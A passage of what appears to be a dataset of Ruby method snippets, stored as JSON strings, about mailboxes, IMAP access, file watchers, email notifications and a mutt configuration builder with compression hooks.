edit(:id => tid, :Requestors => reqs.join(\",\"))\n end\n end",
"def generate_config(watchers)\n main_stanza = []\n events_stanza = []\n http_stanza = []\n upstream_stanza = []\n location_stanza = []\n server_stanza = []\n watchers.each do |watcher|\n # if service doesnt has nginx block, skip it\n next unless watcher.nginx \n log.info \"#{watcher.name} - #{watcher.backends} - #{watcher.haproxy} - #{watcher.nginx}\"\n @watcher_configs[watcher.name] = parse_watcher_config(watcher)\n log.info @watcher_configs\n upstream_stanza << generate_upstream_stanza(watcher, @watcher_configs[watcher.name]['upstream']) \n location_stanza << generate_location_stanza(watcher,@watcher_configs[watcher.name]['location'])\n end\n\n main_config = get_main_config\n main_stanza = generate_main_stanza(main_config)\n\n event_config = get_event_config\n events_stanza = generate_event_stanza(event_config)\n\n http_config = get_http_config\n http_stanza = generate_http_stanza(http_config)\n close_bracket = [\"}\"]\n\n base_server_config = get_server_base_config\n server_stanza = generate_server_stanza(location_stanza,base_server_config)\n if http_stanza.empty?\n final_config = main_stanza << events_stanza << http_stanza << upstream_stanza << server_stanza \n else\n final_config = main_stanza << events_stanza << http_stanza << upstream_stanza << server_stanza << close_bracket \n end\n log.info \"config array is #{final_config}\"\n\n return final_config\n end",
"def ensure_watchers(owner, repo)\n currepo = ensure_repo(owner, repo)\n\n if currepo.nil?\n warn \"Could not find repo #{owner}/#{repo} for retrieving watchers\"\n return\n end\n\n watchers = db.from(:watchers, :users).\\\n where(Sequel.qualify('watchers', 'user_id') => Sequel.qualify('users', 'id')).\\\n where(Sequel.qualify('watchers', 'repo_id') => currepo[:id]).select(:login).all\n\n retrieve_watchers(owner, repo).reduce([]) do |acc, x|\n if watchers.find { |y|\n y[:login] == x['login']\n }.nil?\n acc << x\n else\n acc\n end\n end.map { |x| save{ensure_watcher(owner, repo, x['login']) }}.select{|x| !x.nil?}\n end",
"def refresh_watchers()\r\n paths = []\r\n\r\n # A list of all file paths the user passed in.\r\n unresolved_paths = @path.split(',')\r\n unresolved_paths = unresolved_paths.size == 0 ? @path : unresolved_paths\r\n\r\n # Glob all file paths and keep all readable files.\r\n for unresolved_path in unresolved_paths\r\n paths += Dir.glob(unresolved_path.strip).select do |resource|\r\n File.file?(resource) && File.readable?(resource)\r\n end\r\n end\r\n\r\n watched = @watched_files.keys\r\n\r\n # Files we are not yet watching.\r\n new_files = paths - watched\r\n\r\n # Files we are watching that no longer exist.\r\n dead_files = watched - paths\r\n\r\n start_watches(new_files)\r\n stop_watches(dead_files, true)\r\n end",
"def find_folders(options={}, &block)\n options[:mailbox] ||= ''\n options[:count] ||= :all\n\n options = validate_options(options)\n mailbox = options[:mailbox] || ''\n mailbox = Net::IMAP.encode_utf7(mailbox)\n mailbox = mailbox.empty? ? '*' : \"#{mailbox}/*\"\n include = options[:include] ||= '*'\n exclude = options[:exclude] ||= nil\n include_flags = options[:include_flags] ||= nil\n exclude_flags = options[:exclude_flags] ||= [:Noselect, :All, :Drafts, :Important, :Junk, :Flagged, :Trash]\n\n start do |imap|\n info \"find_folders block\"\n info \"imap.lsub/list #{mailbox}\"\n boxes = options[:subscribed] ? imap.lsub('', mailbox) : imap.list('', mailbox)\n boxes.replace(options[:what].to_sym == :last ? boxes.last(options[:count]) : boxes.first(options[:count])) if options[:count].is_a?(Integer)\n\n if block_given?\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n yield Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n else\n folders = []\n boxes.each do |box|\n name = Net::IMAP.decode_utf7(box.name)\n flags = box.attr ? box.attr.map{|e| e.to_s.downcase.to_sym} : nil\n next if match_folder(name, exclude) || match_folder_flags(flags, exclude_flags)\n next unless match_folder(name, include) || match_folder_flags(flags, include_flags)\n info \"imap.status #{box.name} #{[\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"]}\"\n status = imap.status(box.name, [\"MESSAGES\", \"UNSEEN\", \"UIDVALIDITY\", \"UIDNEXT\"])\n folders << Folder.new(name, delim: box.delim, flags: flags, messages: status['MESSAGES'], unseen: status['UNSEEN'], validity: status['UIDVALIDITY'], next: status['UIDNEXT'])\n end unless boxes.nil?\n folders.size == 1 && options[:count] == 1 ? folders.first : folders\n end\n end\n end",
"def all\n get(\"#{domain}/mailboxes\")\n end",
"def events_from_mailers\n Pathname.glob(Rails.root.join('app', 'mailers', '*.rb')).each do |job|\n require_dependency job.to_s\n end\n\n ActionMailer::Base\n .descendants\n .select { |mailer| mailer.events.present? }\n .flat_map { |mailer| mailer.events.map { |event| Event.new(event) } }\n end",
"def watchable_dirs; end",
"def fetch_watchers\n watcher_users.to_a\n end",
"def watch!(*globs)\n @watchlist.accept!(globs)\n end",
"def get_mailboxes\n get(\"mailboxes\")\n end",
"def mailing\n gb = Gibbon.new\n @lists = Hash.new\n for i in 1..gb.lists['total'] do\n list_id = gb.lists['data'][i - 1]['id']\n name = gb.lists['data'][i - 1]['name']\n @lists[name] = []\n members = gb.list_members({:id => list_id})\n members['data'].map { |m| @lists[name].push(m['email']) }\n end\n end",
"def watch(*globs)\n @watchlist.accept(globs) unless globs.empty?\n @watchlist\n end",
"def test_email_notification\n name = names(:peltigera)\n desc = name_descriptions(:peltigera_desc)\n\n @rolf.email_names_admin = false\n @rolf.email_names_author = true\n @rolf.email_names_editor = true\n @rolf.email_names_reviewer = true\n @rolf.email_names_all = false\n @rolf.save\n\n @mary.email_names_admin = false\n @mary.email_names_author = true\n @mary.email_names_editor = false\n @mary.email_names_reviewer = false\n @mary.email_names_all = false\n @mary.save\n\n @dick.email_names_admin = false\n @dick.email_names_author = false\n @dick.email_names_editor = false\n @dick.email_names_reviewer = false\n @dick.email_names_all = false\n @dick.save\n\n @katrina.email_names_admin = false\n @katrina.email_names_author = true\n @katrina.email_names_editor = true\n @katrina.email_names_reviewer = true\n @katrina.email_names_all = true\n @katrina.save\n\n # Start with no reviewers, editors or authors.\n User.current = nil\n desc.gen_desc = ''\n desc.review_status = :unreviewed;\n desc.reviewer = nil;\n Name.without_revision do\n desc.save\n end\n desc.authors.clear\n desc.editors.clear\n desc.reload\n name_version = name.version\n description_version = desc.version\n QueuedEmail.queue_emails(true)\n QueuedEmail.all.map(&:destroy)\n\n assert_equal(0, desc.authors.length)\n assert_equal(0, desc.editors.length)\n assert_equal(nil, desc.reviewer_id)\n\n # email types: author editor review all interest\n # 1 Rolf: x x x . .\n # 2 Mary: x . . . .\n # 3 Dick: . . . . .\n # 4 Katrina: x x x x .\n # Authors: -- editors: -- reviewer: -- (unreviewed)\n # Rolf erases notes: notify Katrina (all), Rolf becomes editor.\n User.current = @rolf\n desc.reload\n desc.classification = ''\n desc.gen_desc = ''\n desc.diag_desc = ''\n desc.distribution = ''\n desc.habitat = ''\n desc.look_alikes = ''\n desc.uses = ''\n desc.save\n assert_equal(description_version + 1, desc.version)\n assert_equal(0, desc.authors.length)\n assert_equal(1, desc.editors.length)\n assert_equal(nil, desc.reviewer_id)\n assert_equal(@rolf, desc.editors.first)\n assert_equal(1, QueuedEmail.count)\n assert_email(0,\n :flavor => 'QueuedEmail::NameChange',\n :from => @rolf,\n :to => @katrina,\n :name => name.id,\n :description => desc.id,\n :old_name_version => name.version,\n :new_name_version => name.version,\n :old_description_version => desc.version-1,\n :new_description_version => desc.version,\n :review_status => 'no_change'\n )\n\n # Katrina wisely reconsiders requesting notifications of all name changes.\n @katrina.email_names_all = false;\n @katrina.save\n\n # email types: author editor review all interest\n # 1 Rolf: x x x . .\n # 2 Mary: x . . . .\n # 3 Dick: . . . . .\n # 4 Katrina: x x x . .\n # Authors: -- editors: Rolf reviewer: -- (unreviewed)\n # Mary writes gen_desc: notify Rolf (editor), Mary becomes author.\n User.current = @mary\n desc.reload\n desc.gen_desc = \"Mary wrote this.\"\n desc.save\n assert_equal(description_version + 2, desc.version)\n assert_equal(1, desc.authors.length)\n assert_equal(1, desc.editors.length)\n assert_equal(nil, desc.reviewer_id)\n assert_equal(@mary, desc.authors.first)\n assert_equal(@rolf, desc.editors.first)\n assert_equal(2, QueuedEmail.count)\n assert_email(1,\n :flavor => 'QueuedEmail::NameChange',\n :from => @mary,\n :to => @rolf,\n :name => name.id,\n :description => desc.id,\n :old_name_version => name.version,\n :new_name_version => name.version,\n :old_description_version => desc.version-1,\n :new_description_version => desc.version,\n :review_status => 'no_change'\n )\n\n # Rolf doesn't want to be notified if people change names he's edited.\n @rolf.email_names_editor = false\n @rolf.save\n\n # email types: author editor review all interest\n # 1 Rolf: x . x . .\n # 2 Mary: x . . . .\n # 3 Dick: . . . . .\n # 4 Katrina: x x x . .\n # Authors: Mary editors: Rolf reviewer: -- (unreviewed)\n # Dick changes uses: notify Mary (author); Dick becomes editor.\n User.current = @dick\n desc.reload\n desc.uses = \"Something more new.\"\n desc.save\n assert_equal(description_version + 3, desc.version)\n assert_equal(1, desc.authors.length)\n assert_equal(2, desc.editors.length)\n assert_equal(nil, desc.reviewer_id)\n assert_equal(@mary, desc.authors.first)\n assert_equal([@rolf.id, @dick.id], desc.editors.map(&:id).sort)\n assert_equal(3, QueuedEmail.count)\n assert_email(2,\n :flavor => 'QueuedEmail::NameChange',\n :from => @dick,\n :to => @mary,\n :name => name.id,\n :description => desc.id,\n :old_name_version => name.version,\n :new_name_version => name.version,\n :old_description_version => desc.version-1,\n :new_description_version => desc.version,\n :review_status => 'no_change'\n )\n\n # Mary opts out of author emails, add Katrina as new author.\n desc.add_author(@katrina)\n @mary.email_names_author = false\n @mary.save\n\n # email types: author editor review all interest\n # 1 Rolf: x . x . .\n # 2 Mary: . . . . .\n # 3 Dick: . . . . .\n # 4 Katrina: x x x . .\n # Authors: Mary,Katrina editors: Rolf,Dick reviewer: -- (unreviewed)\n # Rolf reviews name: notify Katrina (author), Rolf becomes reviewer.\n User.current = @rolf\n desc.reload\n desc.update_review_status(:inaccurate)\n assert_equal(description_version + 3, desc.version)\n assert_equal(2, desc.authors.length)\n assert_equal(2, desc.editors.length)\n assert_equal(@rolf.id, desc.reviewer_id)\n assert_equal([@mary.id, @katrina.id], desc.authors.map(&:id).sort)\n assert_equal([@rolf.id, @dick.id], desc.editors.map(&:id).sort)\n assert_equal(4, QueuedEmail.count)\n assert_email(3,\n :flavor => 'QueuedEmail::NameChange',\n :from => @rolf,\n :to => @katrina,\n :name => name.id,\n :description => desc.id,\n :old_name_version => name.version,\n :new_name_version => name.version,\n :old_description_version => desc.version,\n :new_description_version => desc.version,\n :review_status => 'inaccurate'\n )\n\n # Have Katrina express disinterest.\n Interest.create(:target => name, :user => @katrina, :state => false)\n\n # email types: author editor review all interest\n # 1 Rolf: x . x . .\n # 2 Mary: . . . . .\n # 3 Dick: . . . . .\n # 4 Katrina: x x x . no\n # Authors: Mary,Katrina editors: Rolf,Dick reviewer: Rolf (inaccurate)\n # Dick changes look-alikes: notify Rolf (reviewer), clear review status\n User.current = @dick\n desc.reload\n desc.look_alikes = \"Dick added this -- it's suspect\"\n # (This is exactly what is normally done by name controller in edit_name.\n # Yes, Dick isn't actually trying to review, and isn't even a reviewer.\n # The point is to update the review date if Dick *were*, or reset the\n # status to unreviewed in the present case that he *isn't*.)\n desc.update_review_status(:inaccurate)\n desc.save\n assert_equal(description_version + 4, desc.version)\n assert_equal(2, desc.authors.length)\n assert_equal(2, desc.editors.length)\n assert_equal(:unreviewed, desc.review_status)\n assert_equal(nil, desc.reviewer_id)\n assert_equal([@mary.id, @katrina.id], desc.authors.map(&:id).sort)\n assert_equal([@rolf.id, @dick.id], desc.editors.map(&:id).sort)\n assert_equal(5, QueuedEmail.count)\n assert_email(4,\n :flavor => 'QueuedEmail::NameChange',\n :from => @dick,\n :to => @rolf,\n :name => name.id,\n :description => desc.id,\n :old_name_version => name.version,\n :new_name_version => name.version,\n :old_description_version => desc.version-1,\n :new_description_version => desc.version,\n :review_status => 'unreviewed'\n )\n\n # Mary expresses interest.\n Interest.create(:target => name, :user => @mary, :state => true)\n\n # email types: author editor review all interest\n # 1 Rolf: x . x . .\n # 2 Mary: . . . . yes\n # 3 Dick: . . . . .\n # 4 Katrina: x x x . no\n # Authors: Mary,Katrina editors: Rolf,Dick reviewer: Rolf (unreviewed)\n # Rolf changes 'uses': notify Mary (interest).\n User.current = @rolf\n name.reload\n name.citation = \"Rolf added this.\"\n name.save\n assert_equal(name_version + 1, name.version)\n assert_equal(description_version + 4, desc.version)\n assert_equal(2, desc.authors.length)\n assert_equal(2, desc.editors.length)\n assert_equal(nil, desc.reviewer_id)\n assert_equal([@mary.id, @katrina.id], desc.authors.map(&:id).sort)\n assert_equal([@rolf.id, @dick.id], desc.editors.map(&:id).sort)\n assert_equal(6, QueuedEmail.count)\n assert_email(5,\n :flavor => 'QueuedEmail::NameChange',\n :from => @rolf,\n :to => @mary,\n :name => name.id,\n :description => 0,\n :old_name_version => name.version-1,\n :new_name_version => name.version,\n :old_description_version => 0,\n :new_description_version => 0,\n :review_status => 'no_change'\n )\n end",
"def jobs_notifier(email_list)\n @listed_jobs = JobPosting.where(created_at: (Time.now.midnight-5.days)..(Time.now))\n @greeting = \"Hi\"\n headers['X-SMTPAPI'] = { :to => email_list.to_a }.to_json\n mail(\n :to => \"[email protected]\",\n :subject => \"New Job Posted!\"\n )\n \n end",
"def notifier_templates\n @notifier_templates || []\n end",
"def generateSubmitterMailList()\n\tsubmitter_map = {}\n\t# Handle duplicate users\n\t@submit_changes.each do |item|\n\t\tsubmitter_map[item.user_id] = item.user_email\n\tend\n\temail_to = \"\"\n\tsubmitter_map.each do |user_id, user_email|\n\t\temail_to = \"#{user_email}, #{email_to}\"\n\tend\n\t#Remove if exist\n\tif (File.exists?(\"email_to.txt\")) then\n\t\tFile.delete(\"email_to.txt\")\n\tend\n\tFile.open(\"email_to.txt\", File::WRONLY|File::CREAT) { |f|\n\t\tf.puts email_to\n\t}\nend",
"def send_emails\n self.attendees.distinct.each do |attendee|\n UpdatesMailer.updates_mail(attendee, self).deliver_now\n end\n end",
"def reload_boxes(boxes)\n org_cache = {}\n boxes.map do |b|\n org_name = b[:username]\n if !org_cache[org_name]\n org_cache[org_name] = account.organization(name: org_name)\n end\n org = org_cache[org_name]\n box = Box.new(organization: org, **b)\n org.boxes = org.boxes + [box]\n org.clean!\n box\n end\n end",
"def list_test_dispatch(list)\n list.subscribers.each do |subscriber|\n mail(\n :to => \"#{subscriber.name} <#{subscriber.email}>\",\n :subject => \"[#{list.name}] Test Mailing\",\n :date => Time.zone.now\n )\n end\n end",
"def mails\n\n begin\n @imap = WmailImapUtils.current_imap\n \n if not @imap.blank?\n @mailbox = params['mailbox']\n @min = params['min'].to_i\n @max = params['max'].to_i\n @total = params['total'].to_i\n\n @imap.select(@mailbox)\n @mails = @imap.fetch(@total-@max..@total-@min, 'ENVELOPE')\n @unseen_flags = @imap.search(['NOT','SEEN'])\n end\n rescue\n redirect_to authenticate_wmail_accounts_path(:redirect => messages_mailbox_path(:label => selected_label)),\n :alert => 'Connection Lost. Please login to your account'\n end\n end",
"def build_threads\n @queue_threads.times { @threads << Queue.new }\n @retry_threads.times { @threads << Retry.new }\n end",
"def batch_badge_creator(attendees)\n badge_messages = []\n attendees.each do |name|\n badge_messages << badge_maker(name)\n end\n badge_messages\nend",
"def where(filters={})\n index = []\n\n mail_path_tpl = settings[:path_tpl]\n .split(File::SEPARATOR)\n .reject {|a| a.nil? || a.strip.length == 0} # remove nil generated by double separators or separators @ end or start of path\n .map {|a| a.slice!(':'); a.to_sym}\n\n files_where(filters) do |mail_path|\n\n file = File.new(mail_path)\n\n mail_path.slice!(Rails.root.join(settings[:dir]).to_s)\n\n mail_path = mail_path\n .split(File::SEPARATOR)\n .reject {|a| a.nil? || a.strip.length == 0} # remove nil generated by double separators or separators @ end or start of path\n\n next if mail_path_tpl.length > mail_path.length\n\n headers = {date: file.ctime}\n\n mailer_extra_length = 0\n mail_path_tpl.each_with_index do |key, ix|\n if key == :mailer\n mailer_extra_length = mail_path.length - mail_path_tpl.length\n headers[sym_to_header(key)] = mail_path[ix..ix+mailer_extra_length].join(File::SEPARATOR)\n else\n case key\n when :message_id\n headers['Message-Id'] = mail_path[ix + mailer_extra_length]\n when :recipient\n headers[:to] = mail_path[ix + mailer_extra_length]\n else\n headers[sym_to_header(key)] = mail_path[ix + mailer_extra_length]\n end\n end\n end\n\n index << ::Mail.new(to: headers.delete(:to), headers: headers)\n end\n index\n end",
"def watchers(options = {})\n get_path(\n path_to_watchers,\n options,\n get_parser(:collection, Tinybucket::Model::Profile)\n )\n end",
"def mailboxes(options={})\n Resources::Mailboxes.new(self, options)\n end",
"def start_watch\n beanstalk.watch(@job_name)\n beanstalk.list_tubes_watched.each do |server, tubes|\n tubes.each { |tube| beanstalk.ignore(tube) unless tube == @job_name }\n end\n end",
"def find_messages\n mailbox = @boxes.find { |box| @mailbox =~ /#{box}/ } # TODO: needs more work\n raise unless mailbox\n age = @cleanse[mailbox]\n before_date = (Time.now - 86400 * age).imapdate\n\n search [\n 'NOT', 'NEW',\n 'NOT', 'FLAGGED',\n 'BEFORE', before_date\n ], 'read, unflagged messages'\n end",
"def listeners\n users_to_notify = Set.new\n users_to_notify += self.proposal.currently_awaiting_approvers\n users_to_notify += self.proposal.individual_steps.approved.map(&:user)\n users_to_notify += self.proposal.observers\n users_to_notify << self.proposal.requester\n # Creator of comment doesn't need to be notified\n users_to_notify.delete(self.user)\n users_to_notify\n end",
"def add_watcher\n email = args.shift\n create_watcher(email)\n puts \"Added #{email} as a watcher\"\n end",
"def search(from,after)\n @mailboxes.each do |mailbox|\n begin\n emails = mailbox.find :from => from,:after => after\n\n emails.reverse.in_groups_of(10,false).each do |group| \n uids = group.map(&:uid)\n fetch_data = @gmail.conn.uid_fetch uids,@imap_key_body\n \n mails = fetch_data.map do |fetch_datum| \n Mail.new CGI.unescapeHTML(fetch_datum.attr[@imap_key_body])\n end \n\n yield mails.reverse if block_given?\n end\n rescue Net::IMAP::NoResponseError \n end\n end #mailboxes\n end",
"def watch_files(files)\n @files.concat files\n self\n end",
"def watch_configured_directories config_file\n\n watched_directories = []\n\n config = Datyl::Config.new(config_file, 'default')\n\n config.all_sections.each do |section|\n\n site_config = Datyl::Config.new(config_file, 'default', section)\n next unless site_config.site # only use sections concerning websites\n\n # TODO: DRY up the next two sections (ftp_queue/digitool_queue)\n\n if site_config.ftp_queue\n errors = WatchUtils.directory_problems(site_config.ftp_queue)\n if errors.empty?\n STDERR.puts \"INFO: Watching FTP incoming directory in #{site_config.ftp_queue} for #{section}\"\n watched_directories.push FtpWatchDirectory.new(site_config, section)\n else\n STDERR.puts \"ERROR: Skipping watching FTP directory #{site_config.ftp_queue} for #{section}, these configuration errors were encountered:\"\n errors.each { |line| STDERR.puts \"ERROR: \" + line }\n end\n end\n\n end\n\n return watched_directories.compact\nend",
"def get_watched_repos\n @repos.each do |r|\n if r.name.downcase == 'txtout'\n @watched.store('txtout', r.id)\n end\n if r.name.downcase == 'resumemonster'\n @watched.store('resumemonster', r.id)\n end\n end\n end",
"def batch_badge_creator (names_list)\nlist_badge_msgs=names_list.collect {|name| badge_maker(name)}\nend",
"def start_poller\n @poller_thread = Thread.new { poll_changed_directories }\n end",
"def batch_badge_creator(attendees)\n attendees.collect do |name| \n badge_maker(name)\n end\nend",
"def watchable_files; end",
"def list_boxes\r\n command = 'List-Folder'\r\n execute_outlook_script(command)\r\n end",
"def patched_config\n\t\t\tzhooks=<<'EOS'\n## +compressed\n# Handler for gzip compressed mailboxes\nopen-hook '\\.gz$' \"gzip --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.gz$' \"gzip --stdout '%t' > '%f'\"\nappend-hook '\\.gz$' \"gzip --stdout '%t' >> '%f'\"\n# Handler for bzip2 compressed mailboxes\nopen-hook '\\.bz2$' \"bzip2 --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.bz2$' \"bzip2 --stdout '%t' > '%f'\"\nappend-hook '\\.bz2$' \"bzip2 --stdout '%t' >> '%f'\"\n# Handler for xz compressed mailboxes\nopen-hook '\\.xz$' \"xz --stdout --decompress '%f' > '%t'\"\nclose-hook '\\.xz$' \"xz --stdout '%t' > '%f'\"\nappend-hook '\\.xz$' \"xz --stdout '%t' >> '%f'\"\n# Handler for pgp encrypted mailboxes\n# Handler for gpg encrypted mailboxes\n# gpg does not support appending to an encrypted file\nopen-hook '\\.gpg$' \"gpg --decrypt < '%f' > '%t'\"\n# close-hook '\\.gpg$' \"gpg --encrypt --recipient YourGpgUserIdOrKeyId < '%t' > '%f'\"\nEOS\n\n\t\t\tsidebar=<<'EOS'\n## +sidebar\nunset sidebar_visible\nset mail_check_stats\nset sidebar_divider_char = '|'\nset sidebar_format=\"%B%* %! %?N?%N/?%S\"\n#default: set sidebar_format=\"%B%* %?F? !%F ?%?N?%N/?%S\"\n# %B name, %F flagged, %N new, %S total\n# Ctrl-Down: Move the highlight to the prev mailbox\nmacro index,pager <C-Up> \"<enter-command>set sidebar_visible<enter><sidebar-prev>\" \"Move up in the sidebar\"\n# Move the highlight to the next mailbox\nmacro index,pager <C-Down> \"<enter-command>set sidebar_visible<enter><sidebar-next>\" \"Move down in the sidebar\"\n# Open the highlighted mailbox\nbind index,pager \\Co sidebar-open\nmacro index,pager <C-Right> \"<sidebar-open><enter-command>unset sidebar_visible<enter>\" \"Open sidebar folder\"\nmacro index,pager <C-Left> \"<enter-command>toggle sidebar_visible<enter>\" \"Toggle the sidebar\"\n# Shorten mailbox names\nset sidebar_short_path\n# set sidebar_component_depth=1\nset sidebar_delim_chars='/'\nset sidebar_folder_indent\n\n#color sidebar_indicator default color17 # Dark blue background\ncolor sidebar_highlight white color238 # Grey background\ncolor sidebar_spoolfile yellow default # Yellow\ncolor sidebar_new magenta default # Magenta\ncolor sidebar_ordinary default default # Default colors\ncolor sidebar_flagged red default # Red\ncolor sidebar_divider color8 default # Dark grey\nEOS\n\t\t\tattach_headers_color=<<'EOS'\n## +attach_headers_color\n# Color GPGME signature checks\ncolor attach_headers green default \"Good signature from.*\"\ncolor attach_headers red default \"Bad signature from.*\"\nEOS\n\n\t\t\ttag_transforms=<<'EOS'\n# Default, we want to change it to have our emojis :)\n# set hidden_tags=\"unread,draft,flagged,passed,replied,attachment,signed,encrypted\"\nset hidden_tags=\"all,draft,flagged,passed,attachment,signed,encrypted\"\n# 📫 📬\ntag-transforms \\\n \"inbox\" \"🖄\" \\\n \"unread\" \"📧\" \\\n \"ml\" \"✉\" \\\n \"replied\" \"↻\" \\\n \"sent\" \"⮩\" \\\n \"received\" \"⮪\" \\\n \"unprocessed\" \"🗷\" \\\nEOS\n\n\t\t\tnotmuchdir=Pathname.new(ENV['NOTMUCH'] ? ENV['NOTMUCH'] : @maildir)\n\t\t\tnotmuch=%Q{set nm_default_uri = \"notmuch://#{notmuchdir}\"\\n}\n\t\t\tload_virtual=\"<enter-command>source '$HOME/.mutt/config.rb mailboxes virtual |'<enter>\"\n\t\t\tnotmuch << <<EOS\n## +notmuch\n#set nm_query_window_duration=2\nset nm_query_window_timebase=\"week\" # or \"hour\", \"day\", \"week\", \"month\", \"year\"\nmacro index,pager x \"#{load_virtual}<change-vfolder>\" \"Change virtual folder\"\nmacro index,pager ,x \"#{load_virtual}<vfolder-from-query>\" \"Virtual folder query\"\nmacro index,pager \\\\Cx \"#{load_virtual}<enter-command>set sidebar_visible<enter><sidebar-toggle-virtual>\" \"Toggle the sidebar into virtual folders\"\nmacro index,pager X \"#{load_virtual}<change-vfolder>?\" \"List virtual mailboxes\"\nmacro index,pager,browser ,mv \"#{load_virtual}\" \"Add virtual mailboxes\"\nmacro index,pager,browser ,mV \"<enter-command>unvirtual-mailboxes *<enter>\" \"Clear virtual mailboxes\"\nbind browser X exit\n#These change '$nm_query_window_current_position'\nmacro index ,< \"<enter-command>set nm_query_window_duration=2<enter><vfolder-window-backward>\" \"virtual window backwad\"\nmacro index ,> \"<enter-command>set nm_query_window_duration=2<enter><vfolder-window-forward>\" \"virtual window forward\"\nmacro index ,= \"<enter-command>set nm_query_window_duration=0<enter><change-folder>^<enter>\" \"Reset query window duration\"\nbind index,pager ,lT entire-thread\n# :exec change-vfolder\nEOS\n\t\t\t# For now I want to activate the virtual folders only when I need them\n\t\t\t# notmuch+=mailboxes(:virtual)\n\n\t\t\to=\"\"\n\t\t\to+=sidebar if version =~ %r{\\+sidebar|\\+USE_SIDEBAR|mutt-patched/sidebar}\n\t\t\to+=attach_headers_color if version =~ /\\+attach_headers_color/\n\t\t\to+=notmuch if version =~ /\\+notmuch/\n\t\t\to+=zhooks if version =~ %r{\\+compress|\\+USE_COMPRESSED|features/compressed-folders}\n\t\t\to+=tag_transforms if version =~/\\+index_color/\n\t\t\to\n\t\tend",
"def get_mailboxes()\n begin\n mblist = @imap_client.list('', '*')\n rescue => error\n p \"ERROR getting mailboxes: #{error}\"\n return [] \n end\n\n return order_mailboxes(mblist)\n end",
"def empty_mailboxes\n\t\t\tempty_mailbox\n\t\t\tempty_temp_mailbox\n\t\tend",
"def initialize(watchers, notify_targets)\n @watchers = watchers\n @notify_targets = notify_targets\n\n @fd = nil\n @thread = nil\n end",
"def init_workers(servers)\n @w = []\n servers.each{|s|\n @w << Worker.new(s)\n }\n end",
"def batch_badge_creator (attendees)\n attendees.collect do |name| badge_maker (name)\n end\nend",
"def mailbox_aliases\n return @mailbox_aliases if @mailbox_aliases\n @mailbox_aliases = {}\n @default_mailbox_aliases.each do |shortname, fullname_list|\n fullname_list.each do |fullname|\n [ \"[Gmail]\", \"[Google Mail]\" ].each do |prefix|\n if self.mailboxes.include?( \"#{ prefix }/#{ fullname }\" )\n @mailbox_aliases[shortname] = \"#{ prefix }/#{ fullname }\"\n end\n end\n end\n end\n log \"Setting aliases to #{ @mailbox_aliases.inspect }\"\n @mailbox_aliases\n end",
"def batch_badge_creator(attendees)\n attendees.map do |name|\n badge_maker(name)\n end\nend",
"def maillist_dev\n maillist_parse(maillist_dev_file)\n end",
"def _init_worker\n KQueue::Queue.new.tap do |queue|\n _directories_path.each do |path|\n Find.find(path) { |file_path| _watch_file(file_path, queue) }\n end\n end\n end",
"def check_for_boxes\n @boxes = []\n box_parser_hook = 'rpick_box_parser_hook'\n\n box_parser = Proc.new do |server_string|\n if server_string =~ /\\d+ items displayed/\n DownstreamHook.remove(box_parser_hook)\n elsif server_string =~ Dictionary.box_finder_regex\n box_id = $1\n box_noun = $2\n box_name = $3\n @boxes << { id: box_id, noun: box_noun, name: box_name }\n nil\n else\n nil\n end\n end\n\n DownstreamHook.add(box_parser_hook, box_parser)\n fput \"inv full\"\n end",
"def find_newly_added_collaborators\n emails = find_folder_members.collect{|m| m.email}\n @member_emails =[]\n params[:already_added_users] = params[:already_added_users].split(\",\").uniq - params[:deleted_users].split(\",\").uniq\n owner=find_folder_owner(params[:folder_id])\n params[:already_added_users].each do |m|\n @member_emails << m.strip if !emails.include?(m.strip) && m.strip != owner\n end\n end",
"def get_mails\n gmail = Gmail.connect @current_user.login, @current_user.password\n return nil unless gmail.logged_in?\n\n mails = gmail.inbox.find :unread, after: @filter_date + 1\n sent_mails = gmail.label(\"[Gmail]/Sent Mail\").find(afetr: @filter_date + 1)\n sent_mails.each { |e| mails << e }\n mails.sort_by!(&:date)\n\n end",
"def _init_worker\n INotify::Notifier.new.tap do |worker|\n _directories_path.each { |path| worker.watch(path, *EVENTS, &_worker_callback) }\n end\n end",
"def threads\n parsed_config.map { |check_opts| thread_for(check_opts) }\n end",
"def watchers\n attributes.fetch(:watchers)\n end",
"def batch_badge_creator(attendees)\n attendees.collect do |attendee|\n badge_maker(attendee)\n end\nend",
"def do_notify_all\n number = tiers_list.size\n @report << \"#{number} mail(s) à envoyer\"\n tiers_list.each do |tiers_id|\n subs = to_be_notified_for(tiers_id)\n done = Notifier.new(tiers_id, subs, @mode).notify\n next if done\n number -= 1\n @report << \"notification impossible pour le tiers #{tiers_id}\"\n end\n @report << \"#{number} mails(s) de notification envoyé(s)\"\n end",
"def mailbox_list\n begin\n @imap = WmailImapUtils.current_imap\n folder_list = WmailImapUtils.get_mailbox_list\n @folders_count_hash = Hash[ folder_list.map do |a|\n [a.name, @imap.status(a.name, [\"UNSEEN\"])[\"UNSEEN\"]] unless a.name == \"[Gmail]\"\n end ]\n rescue\n respond_to do|format|\n format.html {redirect_to authenticate_wmail_accounts_path(:redirect => params),\n :alert => 'Connection Lost. Please login to your account'}\n format.js {render :js => \"window.location = '\" + authenticate_wmail_accounts_path(:redirect => params) + \"';\"}\n end\n end\n end",
